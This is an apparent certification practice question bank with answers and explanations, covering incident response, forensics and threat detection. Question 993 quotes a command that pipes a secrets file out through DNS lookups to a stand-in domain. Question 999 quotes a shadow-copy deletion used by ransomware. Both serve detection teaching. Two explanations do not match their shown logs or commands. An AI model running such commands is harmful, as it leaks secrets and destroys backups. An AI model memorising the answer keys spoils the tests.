All practice questions

2232 questions

All types2,232 Multiple choice1,151 Multiple select509 Numeric21 Matching378 Ordering173

During an active incident investigation, a security analyst confirms that an employee's workstation is currently communicating with an external command-and-control (C2) server following a malware infection. According to standard incident response lifecycle guidelines, which of the following actions should the analyst take FIRST?

Isolate the compromised workstation from the internal network.

Re-image the workstation operating system and restore clean data backups.

Update the enterprise acceptable use policy to forbid clicking unknown email links.

Execute a full network scan to clean self-replicating worm code from all file servers.

Show answer & explanation

Answer: Isolate the compromised workstation from the internal network.

Answer

Isolate the compromised workstation from the internal network.

Isolating the compromised system from the network is the primary immediate containment action. Containment prevents data exfiltration and restricts the threat actor from moving laterally across the network while incident responders prepare eradication and forensic analysis steps.

Step-by-Step Solution

Identify the current phase of the incident response process.

The incident has been detected and verified, moving the response directly into the Containment phase.

Once an active compromise (such as active C2 communication) is detected, immediate action must be taken to limit damage.

Select the immediate containment step.

Network isolation of the host disconnects C2 channels and stops network spread.

Containment must occur prior to performing eradication (removing malware/re-imaging) or recovery (restoring operations).

Key Concept

Incident Response Lifecycle Phase Order (Containment First)

Question 982Question →

A digital forensics responder is preparing to collect evidence from a powered-on target workstation. Place the following memory and storage components in the correct sequence according to the standard Order of Volatility, starting from the MOST volatile to the LEAST volatile.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order from most volatile to least volatile is: CPU registers and cache memory, followed by System RAM (Random Access Memory), then Local solid-state drive (SSD) storage, and finally Archival backup tape media.

According to standard digital forensics guidelines (such as RFC 3227), evidence collection must proceed from the most transient/volatile data to the least volatile data. CPU cache and registers change constantly and are lost first, followed by system RAM. Local disk storage retains data permanently across reboots, while offline archival tapes are static and non-volatile.

Step-by-Step Solution

Identify the data source with the shortest lifespan

CPU registers and cache memory are identified as the most volatile because contents change continuously during CPU cycles.

Data in registers and processor cache is extremely transient and easily overwritten or cleared.

Identify volatile system runtime memory

System RAM is placed second.

RAM contains live system memory (running processes, network sockets, unencrypted secrets) which disappears when the host loses power.

Identify non-volatile local storage

Local SSD storage is placed third.

Disk storage persists data across power cycles and system reboots, making it significantly less volatile than RAM or CPU cache.

Identify long-term offline storage

Archival backup tape media is placed last.

Archival backups are offline, highly resilient, and change least frequently among all listed sources.

Key Concept

Order of Volatility in Digital Forensics

Question 983Question →

During a multi-vector attack on a hybrid enterprise infrastructure, a security operations team identifies active data exfiltration using a compromised cloud service account API key, alongside automated ransomware scripts terminating database processes on internal servers. To effectively mitigate damage and recover services according to standard incident response frameworks, what is the correct chronological sequence of steps the response team must execute?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence starts with credential revocation and IP blocking (Containment), followed by volatile memory and disk forensic acquisition (Analysis/Preservation), followed by malware and persistence removal (Eradication), followed by clean backup restoration and integrity verification (Recovery), and concludes with a formal lessons-learned post-incident review (Post-Incident Activity).

According to NIST SP 800-61 and industry standard IR playbooks, containment (revoking compromised credentials and blocking origin IPs) must occur immediately to stop active exfiltration. Evidence acquisition (memory and disk forensic imaging) must follow prior to modifying systems. Eradication (purging malware binaries and persistence) ensures the adversary cannot maintain access. Recovery (restoring from clean offline backups and integrity validation) safely brings operations back online. Finally, post-incident activity (lessons learned and playbook updates) synthesizes the findings to improve future response.

Step-by-Step Solution

Execute immediate Containment controls by revoking compromised cloud API keys and applying perimeter IP blocks.

Stops ongoing data exfiltration and blocks active command-and-control communication.

Containment limits the scope of damage before additional actions are taken.

Perform Evidence Acquisition by capturing volatile memory and disk images from targeted database hosts.

Preserves forensic artifacts without altering volatile evidence needed for investigation.

Eradication or system re-imaging without prior forensic capture destroys volatile memory evidence.

Execute Eradication by removing ransomware artifacts, backdoor accounts, and scheduled tasks.

Completely eliminates the threat actor's presence and malware components from the environment.

Systems cannot be safely restored until all malicious presence has been removed.

Perform Recovery by restoring databases from known-good offline backups and validating system functionality.

Returns production services to normal operational state safely.

Restoration must occur after eradication to prevent re-infection upon bringing systems back online.

Conduct Post-Incident Activity including root-cause reporting and updating incident playbooks.

Improves security posture and response playbooks for future incidents.

Post-incident review requires complete incident resolution and documentation to evaluate overall performance.

Key Concept

NIST SP 800-61 Incident Response Lifecycle Sequencing

Estimated Time:3m 0s

Question 984Question →

During off-hours monitoring, a Security Operations Center (SOC) analyst receives an automated alert indicating that a newly created cloud IAM access key assigned to a staging service account is actively issuing bulk API requests to download objects from a production database backup S3 bucket to an unrecognized external IP address. After verifying that the API calls originate from unauthorized external sources and represent active data exfiltration, which of the following actions should the analyst take FIRST according to standard incident response playbooks?

Revoke the compromised IAM access key and apply an temporary explicit deny policy to the service account.

Restore the affected cloud storage bucket from a known-good backup and rotate the master KMS encryption key.

Deploy a detective inline web application firewall sensor to analyze incoming cloud API call patterns.

Draft an incident post-mortem report detailing how the staging IAM account obtained production access.

Show answer & explanation

Answer: Revoke the compromised IAM access key and apply an temporary explicit deny policy to the service account.

Answer

Revoke the compromised IAM access key and apply an temporary explicit deny policy to the service account.

When an active incident involving credential compromise and ongoing data exfiltration is confirmed, the immediate priority in standard incident response frameworks (such as NIST SP 800-61) is containment. Revoking the compromised access key immediately halts the unauthorized API sessions and stops ongoing exfiltration.

Step-by-Step Solution

Identify the current phase of the NIST Incident Response Lifecycle.

The incident is actively occurring with ongoing exfiltration, placing the response squarely in the Containment, Eradication, and Recovery phase, specifically requiring immediate Containment.

Containment limits the scope and impact of an active breach before further damage occurs.

Select the action that directly mitigates active exfiltration without skipping containment.

Disabling or revoking the active vector (the compromised IAM credential) immediately halts unauthorized API requests.

Revoking the access key breaks the attacker's active session and stops ongoing data loss instantly.

Key Concept

Incident Response Containment Phase

Question 985Question →

An incident response team discovers a server on the enterprise network actively communicating with a known malicious command-and-control server following a ransomware infection. According to standard incident response playbooks for the containment phase, which of the following actions should the analyst perform immediately? (Select TWO.)

Select all that apply

Disconnect the network interface of the affected server.

Capture the volatile system memory (RAM) for forensic examination.

Re-image the server operating system and restore from the latest offline backup.

Conduct a post-incident review meeting with executive leadership.

Show answer & explanation

Answer: Disconnect the network interface of the affected server.; Capture the volatile system memory (RAM) for forensic examination.

Answer

Disconnecting the network interface of the affected server and capturing volatile system memory (RAM).

During the containment phase of incident response, the primary objectives are limiting the scope of damage and preserving volatile evidence. Disconnecting the server's network interface halts communication with command-and-control servers and prevents lateral spread across the network. Capturing system RAM preserves crucial volatile evidence, such as encryption keys, active connections, and memory-resident malware payloads, before the system state is modified.

Step-by-Step Solution

Identify the current lifecycle phase

The incident is actively occurring, placing the current response effort squarely in the Containment phase.

Containment actions focus on preventing further damage and lateral movement while preserving evidence.

Select immediate network containment

Isolating the system stops active C2 traffic and lateral spread.

Physical or virtual network disconnection isolates the threat without destroying evidence in RAM.

Preserve volatile evidence

RAM contents are captured prior to system reboot or power-down.

Volatile memory contains transient threat artifacts that are lost upon system shutdown.

Key Concept

Incident Response Containment Phase Actions

Question 986Question →

A security analyst monitoring a SOC console receives a high-severity alert from an Endpoint Detection and Response (EDR) agent on an enterprise workstation. The alert details rapid unauthorized file encryption and concurrent attempts at internal lateral movement. Which of the following containment actions should the analyst execute FIRST directly within the EDR console to minimize risk to the enterprise?

Isolate the affected workstation from the network using the EDR agent isolation capability.

Update the perimeter firewall ruleset to block outbound traffic originating from the workstation's IP address.

Reconfigure local host Operating System Access Control Lists (ACLs) to restrict write permissions on user folders.

Initiate an automated full antimalware eradication scan across the host local storage.

Show answer & explanation

Answer: Isolate the affected workstation from the network using the EDR agent isolation capability.

Answer

Isolate the affected workstation from the network using the EDR agent isolation capability.

Isolating the host via the EDR console instantly restricts network traffic from the host, preventing the spread of ransomware and lateral movement while maintaining an operational connection between the SOC analyst and the EDR agent for telemetry analysis.

Step-by-Step Solution

Analyze the incident response phase requirement.

Determine that the incident is actively progressing (rapid file encryption and lateral movement) and requires immediate containment.

Containment must occur before investigation or eradication to prevent widespread enterprise impact.

Select the appropriate EDR feature for host containment.

Execute network isolation via the EDR console interface.

EDR isolation severs host network communications (preventing lateral movement) while maintaining a managed telemetry link for security analysts.

Key Concept

Host Network Isolation in Endpoint Detection and Response

Question 987Question →

A SOC analyst is reviewing correlated telemetry in a SIEM console following an automated high-severity alert:

Host Firewall Logs:
2026-07-27T10:13:58Z ALLOW UDP 172.16.42.50:53124 -> 8.8.8.8:53 (Bypassing internal DNS resolver 172.16.0.2)

Based on the log telemetry, which of the following security events is occurring, and which containment action should be implemented first?

DNS tunneling for data exfiltration; block direct outbound UDP/53 traffic from internal endpoints and enforce routing through designated internal recursive DNS resolvers.

Distributed Denial of Service (DDoS) reflection attack; configure SIEM threshold rules to drop incoming ICMP echo responses.

Cross-Site Scripting (XSS) payload delivery; apply web application firewall (WAF) input validation rules to encode TXT parameters.

Unauthorized privilege escalation via RADIUS; revoke user authorization tokens on the enterprise authentication server.

Show answer & explanation

Answer: DNS tunneling for data exfiltration; block direct outbound UDP/53 traffic from internal endpoints and enforce routing through designated internal recursive DNS resolvers.

Answer

DNS tunneling for data exfiltration; block direct outbound UDP/53 traffic from internal endpoints and enforce routing through designated internal recursive DNS resolvers.

The combination of high-frequency DNS TXT queries carrying encoded subdomains, combined with endpoint firewall logs demonstrating direct outbound connection to an external DNS server (bypassing internal DNS infrastructure), is a classic signature of DNS tunneling used for data exfiltration. Mitigating this risk requires blocking direct external DNS access from end-user devices so that all queries pass through monitored internal resolvers.

Step-by-Step Solution

Analyze the log telemetry structure and query attributes

The log shows sequential, high-frequency TXT queries to unique, long, random subdomains (e.g., a3f9b1c2e4d.data.example-cdn.net) with large payload lengths (~240 bytes).

Covert channels like DNS tunneling encode exfiltrated data into subdomain strings of DNS queries.

Examine host firewall routing anomalies

Endpoint 172.16.42.50 is querying public DNS (8.8.8.8) directly, bypassing the designated internal DNS server (172.16.0.2).

Attackers bypass internal DNS monitoring and logging controls by attempting direct egress over port 53.

Identify the primary containment control

Block direct outbound UDP/TCP port 53 traffic at perimeter firewalls for non-DNS servers and require all internal clients to use approved internal DNS resolvers.

Enforcing internal recursive DNS usage enables central logging, filtering, and blocking of malicious domain requests.

Key Concept

DNS Tunneling and Exfiltration Telemetry Correlation

Question 988Question →

A security analyst reviews Wireless Intrusion Detection System (WIDS) logs after users report sudden drops in wireless network connectivity followed by requests to re-enter network credentials. The logs show a rapid burst of IEEE 802.11 broadcast deauthentication frames sent from MAC address 00:11:22:33:44:55, followed immediately by client devices associating with a nearby access point displaying MAC address 00:11:22:33:44:99 that advertises the exact same SSID. Which of the following attack types is most consistent with these technical indicators?

Evil Twin attack

Radio Frequency (RF) Jamming

Initialization Vector (IV) replay attack

WPS PIN brute-force attack

Show answer & explanation

Answer: Evil Twin attack

Answer

An Evil Twin attack is indicated by spoofed 802.11 deauthentication frames used to force clients off the legitimate network, followed by client auto-reconnection to an unauthorized rogue access point operating under the same SSID.

An Evil Twin attack involves setting up an unauthorized wireless access point configured with the same SSID as a legitimate network. Attackers frequently transmit 802.11 deauthentication frames to disconnect legitimate users from their valid APs, forcing client devices to automatically reconnect to the attacker's stronger rogue AP (indicated by the differing BSSID MAC address 00:11:22:33:44:99).

Step-by-Step Solution

Analyze the observed frame types in the log dump.

Identified IEEE 802.11 deauthentication management frames sent to the broadcast address.

Deauthentication frames disconnect active wireless clients from their current access point.

Examine client behavior and BSSID changes following disconnection.

Clients re-associated with a new MAC address (00:11:22:33:44:99) while retaining the original corporate SSID.

Attackers deploy rogue access points with stronger signal strength or identical SSIDs to entice disconnected clients.

Correlate indicators with wireless attack profiles.

The combined pattern confirms an Evil Twin attack aimed at harvesting credentials via a rogue AP.

Forced disassociation followed by rogue SSID spoofing is the primary indicator of an Evil Twin deployment.

Key Concept

Evil Twin and Wireless Deauthentication Indicators

Question 989Question →

A municipal transit authority is modernizing its distributed traffic management system and fleet maintenance stations to align with Zero Trust Architecture (ZTA) principles. Which of the following architectural decisions directly fulfill core Zero Trust tenets? (Select TWO.)

Select all that apply

Enforcing continuous policy re-evaluation using real-time contextual risk signals for every resource request, regardless of network location.

Creating granular microsegments around enterprise workloads to isolate network traffic and strictly limit lateral movement.

Designating the internal corporate LAN as a trusted zone where authenticated devices are exempt from granular resource authorization checks.

Treating successful identity verification during initial user login as implicit authorization to access all downstream database services.

Show answer & explanation

Answer: Enforcing continuous policy re-evaluation using real-time contextual risk signals for every resource request, regardless of network location.; Creating granular microsegments around enterprise workloads to isolate network traffic and strictly limit lateral movement.

Answer

The zero trust design must continuously re-evaluate policy decisions based on real-time risk signals regardless of network location, and implement workload microsegmentation to prevent lateral movement.

Zero Trust Architecture relies on assuming breach, explicit continuous verification, and microsegmentation. Enforcing continuous policy re-evaluation ensures access is dynamically granted based on real-time posture and risk context rather than static attributes or network origin. Simultaneously, establishing microsegments around workloads enforces least privilege access and restricts an adversary's ability to move laterally across the enterprise network.

Step-by-Step Solution

Evaluate the core tenets of Zero Trust Architecture according to NIST standards.

Identified key tenets: continuous explicit verification, least privilege access, microsegmentation, and assuming breach across all network segments.

Zero Trust operates under the premise that no network segment is inherently trusted.

Analyze each option against Zero Trust requirements versus traditional perimeter defense practices.

Continuous contextual verification and workload microsegmentation adhere to Zero Trust principles, whereas trusting the internal LAN or granting broad authorization upon initial login violates them.

Perimeter reliance and conflating authentication with broad authorization represent legacy security fallacies.

Key Concept

Zero Trust Architecture Core Tenets

Question 990Question →

A financial services organization is designing a high-throughput database storage system that requires transparent, hardware-level data encryption at rest without burdening the host database server CPUs. Additionally, organizational compliance mandates that encryption keys must be generated and lifecycle-managed by a centralized external key appliance. Which of the following storage security solutions best fulfills these requirements?

Self-Encrypting Drives (SEDs) integrated with a centralized key manager using Key Management Interoperability Protocol (KMIP)

Application-level asymmetric RSA encryption applied to bulk database tables before writing data to storage

Inline network firewalls enforcing deep-packet inspection and TLS decryption across storage area network switches

SIEM event correlation rules configured to trigger real-time dynamic data masking during database queries

Show answer & explanation

Answer: Self-Encrypting Drives (SEDs) integrated with a centralized key manager using Key Management Interoperability Protocol (KMIP)

Answer

Deploying Self-Encrypting Drives (SEDs) integrated with a Key Management Interoperability Protocol (KMIP) server

Self-Encrypting Drives (SEDs) perform full disk bulk encryption at the drive controller hardware layer using fast symmetric ciphers (such as AES), which prevents host CPU overhead. Leveraging the Key Management Interoperability Protocol (KMIP) allows the drive hardware to offload key generation, rotation, and escrow to a centralized enterprise key management appliance.

Step-by-Step Solution

Evaluate host performance requirements for data-at-rest encryption

Selected hardware-based encryption on the storage drive controller rather than host-based software encryption to avoid host CPU degradation

Self-Encrypting Drives (SEDs) handle AES bulk encryption transparently on dedicated hardware on the drive itself.

Evaluate key management governance requirements

Identified KMIP integration for centralized key management

KMIP enables enterprise storage hardware to retrieve and manage encryption keys securely from a centralized Hardware Security Module (HSM) or key management server.

Key Concept

Hardware-based Storage Encryption & Centralized Key Management

Question 991Question →

An incident response team is conducting a digital forensics investigation on a compromised virtual database server hosting sensitive records. To ensure evidence admissibility in legal proceedings and maintain proper forensic procedure, the responders must handle volatile data and chain of custody documentation correctly. Which of the following procedures should the incident responders execute to meet these requirements? (Select TWO.)

Select all that apply

Capture volatile system memory (RAM) and active state prior to disconnecting storage volumes or powering down the machine

Reboot the target virtual server into a read-only live OS environment before acquiring memory dumps to prevent third-party software contamination

Calculate and record cryptographic hashes (such as SHA-256) of forensic image files immediately following acquisition

Substitute cryptographic hash logs for signed chain-of-custody transfer records to establish non-repudiation of investigator actions

Show answer & explanation

Answer: Capture volatile system memory (RAM) and active state prior to disconnecting storage volumes or powering down the machine; Calculate and record cryptographic hashes (such as SHA-256) of forensic image files immediately following acquisition

Answer

Capturing volatile system memory (RAM) prior to disconnecting storage or shutting down, and calculating cryptographic hashes (such as SHA-256) immediately following image acquisition.

Capturing volatile memory before powering down complies with the order of volatility, ensuring ephemeral data such as active memory and network connections are captured. Computing cryptographic hashes immediately following acquisition establishes proof of data integrity for judicial admissibility.

Step-by-Step Solution

Analyze the evidence collection sequence based on the Order of Volatility

Identify that volatile memory (RAM) sits higher on the order of volatility than disk storage and must be preserved before taking actions that alter system power state.

Shutting down or rebooting a host permanently erases contents stored in system RAM.

Evaluate evidence integrity and chain of custody requirements

Determine that hashing digital images immediately after creation provides proof of integrity for court proceedings.

Matching original acquisition hashes against verification hashes proves evidence was un-tampered throughout custody.

Key Concept

Order of Volatility and Digital Evidence Integrity

Estimated Time:2m 0s

Question 992Question →

A security team is defining an automated containment and investigation workflow for suspicious host behavior flagged by an Endpoint Detection and Response (EDR) agent. Order the steps in the correct chronological sequence from initial detection through remediation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence of the EDR incident response workflow is: (1) EDR sensor detects anomalous process behavior, (2) Automated playbook executes host isolation, (3) SOC analyst examines telemetry logs and process tree, (4) Forensic artifacts and memory dumps are collected, and (5) Newly identified IoCs are deployed to security controls.

The workflow follows standard incident response phases tailored to EDR functionality: Detection (EDR agent alerts on process anomaly) -> Containment (automated network isolation) -> Analysis (SOC analyst investigates process lineage) -> Investigation/Forensics (memory dump and artifact extraction) -> Remediation/Post-Incident (distributing IoCs enterprise-wide).

Step-by-Step Solution

Identify the event triggering the incident response sequence.

The EDR sensor identifies suspicious activity on the local endpoint.

Detection is the prerequisite step that triggers automated playbooks and alerts.

Contain the threat automatically using EDR capabilities.

Network interface of the affected host is isolated from the rest of the enterprise network.

Immediate containment limits blast radius and prevents lateral movement while preserving management access for EDR control.

Perform preliminary investigation of endpoint telemetry.

Analyst inspects process lineage, command-line arguments, and parent-child relationships.

Investigating telemetry confirms whether the alert is a true positive and pinpoints attacker tactics.

Collect deep forensic evidence.

Volatile memory and system triage packages are acquired from the isolated endpoint.

Detailed forensic collection supplies evidence for root-cause analysis and malware analysis.

Remediate and update organizational security posture.

Extracted IoCs are added to SIEM, firewalls, and EDR detection rules.

Feedback into security infrastructure prevents duplicate compromise across other enterprise endpoints.

Key Concept

Endpoint Detection and Response (EDR) Automated Containment and Incident Investigation Workflow

Question 993Question →

A Security Operations Center (SOC) analyst is investigating suspicious network activity on an internal Linux host (192.168.1.45) by correlating local audit logs with internal DNS resolver logs:

[DNS Resolver Logs]
2026-07-27T14:02:11.104Z client 192.168.1.45 query: a3V4b25lbGluZQ.c2VjdXJpdHl0ZXN0.example.com IN TXT
2026-07-27T14:02:11.312Z client 192.168.1.45 query: dGhlcXVpY2ticm93bmZveA.c2VjdXJpdHl0ZXN0.example.com IN TXT

[Linux Audit Log (/var/log/audit/audit.log)]
type=SYSCALL msg=audit(1785160920.412:982): arch=c000003e syscall=59 success=yes exe="/usr/bin/bash"
type=EXECVE msg=audit(1785160920.412:982): argc=3 a0="/usr/bin/bash" a1="-c" a2="base64 -d secrets.txt | nslookup -type=TXT - example.com"

Based on the log telemetry provided, which of the following statements accurately characterize the security incident occurring on the endpoint? (Select TWO.)

Select all that apply

Sensitive host data is being covertly exfiltrated using DNS tunneling with encoded subdomain payloads.

Command execution telemetry confirms local utility binaries were executed to encode and stream file contents outbound.

The log entries document a SQL injection attempt aimed at extracting database records through web server application parameters.

The audit log entries reflect an access control failure where identity authentication succeeded but resource authorization was revoked.

Show answer & explanation

Answer: Sensitive host data is being covertly exfiltrated using DNS tunneling with encoded subdomain payloads.; Command execution telemetry confirms local utility binaries were executed to encode and stream file contents outbound.

Answer

The incident involves data exfiltration via DNS tunneling using encoded subdomain queries, supported by process execution telemetry showing file encoding piped directly into DNS lookup commands.

The correct options accurately identify DNS tunneling and process execution indicators. The DNS logs feature subdomains composed of Base64 strings queried for TXT records, which is a classic indicator of DNS data exfiltration. Simultaneously, the system audit logs explicitly document a bash command reading and encoding local file contents before piping them into `nslookup`.

Step-by-Step Solution

Analyze the Linux process audit log entry.

The EXECVE audit record shows an interactive bash process running `base64 -d secrets.txt | nslookup -type=TXT - example.com`.

This establishes that local system data was encoded and passed to a network utility.

Analyze the internal DNS resolver query log entries.

High-entropy Base64 string labels (e.g., `a3V4b25lbGluZQ...`) are appended as subdomains in DNS TXT requests originating from host 192.168.1.45.

This confirms covert protocol tunneling where payload data is disguised as domain name queries.

Correlate host telemetry with network telemetry to draw conclusions.

The execution log directly explains the source of the high-entropy DNS TXT queries, verifying host compromise and active DNS exfiltration.

Combining command-line monitoring with network event correlation provides end-to-end confirmation of the threat behavior.

Key Concept

DNS Tunneling and Process Audit Log Correlation

Question 994Question →

A chief information security officer is preparing an executive risk assessment for the board of directors regarding potential cyber risks associated with an upcoming international expansion. The assessment must focus on high-level adversary motivations, geopolitical threat trends, and overall business risk impact rather than low-level technical indicators such as file hashes or malicious IP addresses. Which classification of threat intelligence is most appropriate for this report?

Strategic threat intelligence

Tactical threat intelligence

Operational threat intelligence

Technical threat intelligence

Show answer & explanation

Answer: Strategic threat intelligence

Answer

Strategic threat intelligence is the correct classification for executive-level briefings focusing on high-level risks, adversary motivations, and long-term business impacts.

Strategic threat intelligence is tailored specifically for executive leadership and board members. It synthesizes broad geopolitical trends, threat actor motivations, and potential financial or operational impacts into actionable business risk insights without overwhelming leaders with low-level technical data.

Step-by-Step Solution

Analyze the target audience and requirement

The target audience is the board of directors, requiring high-level executive decision-making data regarding geopolitical trends and business risk.

Executive leadership requires non-technical intelligence focused on strategic risk rather than detailed technical indicators.

Evaluate the categories of threat intelligence

Strategic intelligence covers broad threat trends and adversary motivations; Tactical covers TTPs; Operational covers specific attack campaigns; Technical covers raw IoCs.

Matching intelligence classifications to their intended operational level ensures proper reporting utility.

Select the matching intelligence category

Strategic threat intelligence directly matches the need for high-level, non-technical executive briefings.

Strategic intelligence translates complex security threats into business risk context.

Key Concept

Classifications of Threat Intelligence (Strategic vs. Tactical vs. Operational vs. Technical)

Estimated Time:1m 15s

Question 995Question →

During a complex security incident investigation involving an enterprise storage array hosting virtualized database servers, a forensic investigator must extract and preserve digital evidence for upcoming judicial proceedings. The storage array utilizes volatile write caches mirrored asynchronously across active controller nodes. To preserve evidence integrity and establish an unassailable chain of custody during acquisition, which of the following procedures should the investigator perform first?

Capture the live volatile memory from the active host and controller write caches, compute cryptographic SHA-256 hashes immediately upon acquisition, and log the hashes, timestamps, and hardware serial numbers on the chain of custody form.

Immediately disconnect physical power to all storage array nodes to halt active caching, extract the NVMe drives, and connect them directly to an investigation system without a write-blocker to compute baseline hashes.

Export virtual machine disk files over the network to an administrative repository, applying a public key infrastructure digital signature to verify the non-repudiation of the cloud administrator's user account.

Run an automated file system defragmentation and metadata consolidation pass on the host volume prior to creating a bit-stream image using native host operating system utilities.

Show answer & explanation

Answer: Capture the live volatile memory from the active host and controller write caches, compute cryptographic SHA-256 hashes immediately upon acquisition, and log the hashes, timestamps, and hardware serial numbers on the chain of custody form.

Answer

The investigator must first capture the live volatile memory from active host and controller write caches, compute cryptographic SHA-256 hashes immediately upon acquisition, and record the hashes, timestamps, and hardware serial numbers on the chain of custody log.

Digital forensics requires capturing evidence in strict compliance with the order of volatility: volatile system RAM and controller write caches must be preserved before persistent storage acquisition or host shutdown. Calculating cryptographic SHA-256 hashes immediately upon collection and documenting timestamps, serial numbers, and examiner details on a chain of custody log guarantees evidence integrity and court admissibility.

Step-by-Step Solution

Prioritize evidence collection according to the Order of Volatility.

Live volatile host memory (RAM) and asynchronous controller write caches are identified as the most perishable evidence sources.

Terminating power or taking disks offline destroys unwritten volatile cache and RAM contents permanently.

Capture volatile data and calculate immediate baseline cryptographic hashes.

A forensic memory acquisition is completed and SHA-256 hashes are calculated immediately.

Calculating a cryptographic hash at the exact time of acquisition provides mathematical proof that evidence has not been altered.

Execute formal chain of custody logging.

Item descriptions, hardware serial numbers, collection timestamps, hash values, and custodial details are documented.

Maintaining an unbroken chain of custody log establishes legal traceability and admissibility in court.

Key Concept

Order of Volatility & Chain of Custody Evidence Logging

Question 996Question →

A security administrator is reviewing hardware resilience controls for an enterprise web application server host. The server host currently features dual redundant power supplies, hot-swappable cooling fans, and a RAID 10 storage array to prevent single points of hardware failure. However, a recent risk assessment highlighted that if the single physical host chassis or motherboard experiences a hardware fault, the application will become unavailable. Which of the following high-availability solutions should the administrator implement to automatically fail over virtualized workloads to a healthy physical host upon host hardware failure?

Virtual machine hypervisor clustering with automated failover

Daily automated disk image backups replicated to an offsite cloud repository

Multipath I/O configured across dual Host Bus Adapters

A cold disaster recovery site with pre-staged server hardware

Show answer & explanation

Answer: Virtual machine hypervisor clustering with automated failover

Answer

Virtual machine hypervisor clustering with automated failover is the optimal solution for recovering workloads immediately after a physical compute host failure.

Virtual machine hypervisor clustering aggregates physical hosts into a cluster. When a physical host suffers a hardware fault, the cluster software automatically redistributes and restarts the running virtual instances on operational cluster nodes, ensuring service continuity.

Step-by-Step Solution

Analyze the operational vulnerability described in the scenario.

The host already has internal hardware fault tolerance (RAID 10, dual PSUs, hot-swap fans), but remains vulnerable to total physical host hardware failure (chassis/motherboard).

Resolving single points of failure at the host level requires a compute-level high-availability control across host nodes.

Evaluate candidate high-availability controls against the requirement for automated failover.

Hypervisor clustering maintains state awareness across physical hosts and automatically migrates or restarts virtual machines on healthy hosts when a node fails.

This maintains service availability with minimal interruption without requiring manual intervention or rebuilding servers.

Key Concept

Hypervisor Clustering and Compute Failover

Question 997Question →

An incident response analyst seizes a powered-on smartphone that is suspected of being used in an active data exfiltration incident. To prevent remote wipe commands or external data modification over cellular or Wi-Fi networks while transporting the physical evidence to the forensics laboratory, which of the following is the most appropriate action to take?

Enclose the mobile device inside a shielded Faraday bag to isolate it from external wireless signals.

Unlock the device screen and manually enable Airplane Mode before transport.

Initiate an immediate remote cloud backup using suspect credentials prior to power-off.

Re-encrypt the internal flash controller with a temporary public key to ensure non-repudiation during transport.

Show answer & explanation

Answer: Enclose the mobile device inside a shielded Faraday bag to isolate it from external wireless signals.

Answer

Enclose the mobile device inside a shielded Faraday bag to isolate it from external wireless signals.

Enclosing the mobile device in a Faraday bag creates a Faraday cage that blocks all incoming and outgoing radio frequency (RF) signals, such as cellular, Wi-Fi, and Bluetooth. This prevents attackers from issuing remote wipe commands or altering data over the network while the investigator transports the device for evidence collection.

Step-by-Step Solution

Identify the threat vector facing mobile device evidence during transit.

Powered-on mobile devices remain connected to cellular, Wi-Fi, or Bluetooth networks and are vulnerable to remote wipe commands or automated data syncs.

Over-the-air signals can modify or destroy evidentiary data before forensic acquisition.

Evaluate evidence preservation controls against forensic standards.

Using a Faraday enclosure blocks all electromagnetic radio frequency signals without altering the device's volatile RAM state or system logs.

Radio frequency isolation guarantees physical evidence preservation without user interface interaction.

Key Concept

Radio Frequency (RF) Signal Isolation in Digital Forensics

Question 998Question →

A Security Operations Center (SOC) analyst confirms an active security incident involving a critical Linux database server hosting sensitive customer records. An external attacker has established an interactive reverse shell via a web application vulnerability, and an automated script on the system is actively staging database tables into an encrypted archive for exfiltration. The incident response playbook requires halting exfiltration immediately while preserving volatile system memory for subsequent forensic analysis. Which of the following actions should the analyst take FIRST?

Disconnect the database server from the network segment at the switch or firewall level while leaving the system powered on.

Execute a system shutdown command or pull the physical power plug to immediately stop the data exfiltration process.

Restore the database server operating system and application files from a clean backup.

Update the Web Application Firewall (WAF) rule base to block incoming HTTP payload requests targeting the web application.

Show answer & explanation

Answer: Disconnect the database server from the network segment at the switch or firewall level while leaving the system powered on.

Answer

Network isolation at the switch or firewall level while maintaining host power is the primary first action.

Disconnecting the database server from the network segment (short-term containment) immediately stops outbound exfiltration and C2 communications while keeping the system powered on so that volatile memory (RAM), running processes, and open network sockets remain intact for forensic capture.

Step-by-Step Solution

Analyze the active threat and requirements

Identified an active reverse shell staging data for exfiltration with a requirement to stop exfiltration and preserve volatile memory (RAM).

The NIST/ISO incident response lifecycle mandates containment before eradication and recovery.

Evaluate containment strategies against volatile evidence preservation

Network isolation stops outbound communication and exfiltration without losing RAM contents.

Shutting down the host causes catastrophic loss of volatile memory, while network isolation isolates network traffic without powering down.

Distinguish between preventive ingress controls and active incident containment

WAF rule updates prevent future exploitation but do not terminate active established C2/exfiltration streams.

Active containment must take precedence over ingress hardening during active compromise execution.

Key Concept

Incident Response Containment Phase and Volatile Evidence Preservation

Question 999Question →

During an investigation into a ransomware propagation attempt on a critical enterprise server, a security analyst reviews telemetry captured by an Endpoint Detection and Response (EDR) agent. The EDR telemetry log reveals that an authenticated enterprise database daemon spawned a command-line interpreter, which subsequently executed `vssadmin.exe delete shadows /all /quiet`. The EDR agent's automated response policy immediately terminated the command interpreter and its child sub-processes and placed the endpoint into network isolation, but deliberately allowed the primary database daemon process to continue executing. Which of the following best explains the architectural rationale behind the EDR agent targeting only the child process tree during remediation?

The EDR agent relies on process lineage and parent-child telemetry correlation to surgically terminate malicious execution contexts while maintaining essential host service uptime.

The EDR agent lacked operating system kernel-level privileges to terminate processes running under service account contexts.

Enforcing host network isolation automatically restores modified storage snapshots, eliminating the need to kill the parent process.

Perimeter firewalls intercepted the volume shadow copy deletion request before the command reached the local operating system kernel.

Show answer & explanation

Answer: The EDR agent relies on process lineage and parent-child telemetry correlation to surgically terminate malicious execution contexts while maintaining essential host service uptime.

Answer

The EDR agent relies on process lineage and parent-child telemetry correlation to surgically terminate malicious execution contexts while maintaining essential host service uptime.

The correct answer emphasizes how EDR agents continuously record process creation lineage, maintaining parent-child process relationships. By correlating telemetry across process trees, the EDR agent's behavioral engine can surgically kill malicious child processes (such as a command shell attempting shadow copy deletion) while keeping critical parent enterprise applications running to prevent unnecessary downtime.

Step-by-Step Solution

Analyze the EDR telemetry context and process hierarchy described in the scenario.

The parent process (database daemon) is a legitimate enterprise service, while the child process (command interpreter invoking vssadmin.exe) represents malicious activity.

Identifying process tree relationships is critical to understanding how EDR sensors differentiate between normal application behavior and spawned malicious commands.

Evaluate EDR remediation capabilities and automated playbook logic.

EDR sensors track parent-child process IDs (PPID/PID) to kill specific process sub-trees selectively.

Surgical termination prevents full endpoint service disruption while still neutralizing malicious execution threads.

